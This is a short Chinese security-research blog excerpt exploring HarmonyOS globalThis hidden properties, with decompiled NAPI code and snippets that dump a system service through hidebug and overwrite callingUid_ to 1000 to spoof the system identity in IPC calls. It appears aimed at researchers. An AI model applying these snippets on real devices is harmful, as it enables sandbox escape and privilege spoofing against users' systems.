是否可以跳出当前进程的沙盒,可以访问其他任意系统服务?
if ( (unsignedint)napi_get_value_int32(a1, argv[0], &v43[1]) ) { HiLogPrintDictNew(3LL,6LL,218115338LL,"HiDebug_NAPI",593869965LL, (unsignedint)"Get input serviceId failed." - (unsignedint)"filename: %{public}s.","Get input serviceId failed.");goto LABEL_11; }
可见输入参数1表示sa的serviceid。
globalThis.requireNapi("hidebug").getServiceDump(3705, 1, [])
是否还有其他隐藏属性?
globalThis.activeStatus_ = 1;globalThis.callingUid_ = 1000;console.log(globalThis.IPCOptionConstructor_);console.log(globalThis.requireNapi("rpc").IPCSkeleton.getCallingUid());
是否还有其他玩法?
原文始发于微信公众号(大山子雪人):鸿蒙安全之鲜为人知的globalThis另一面
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论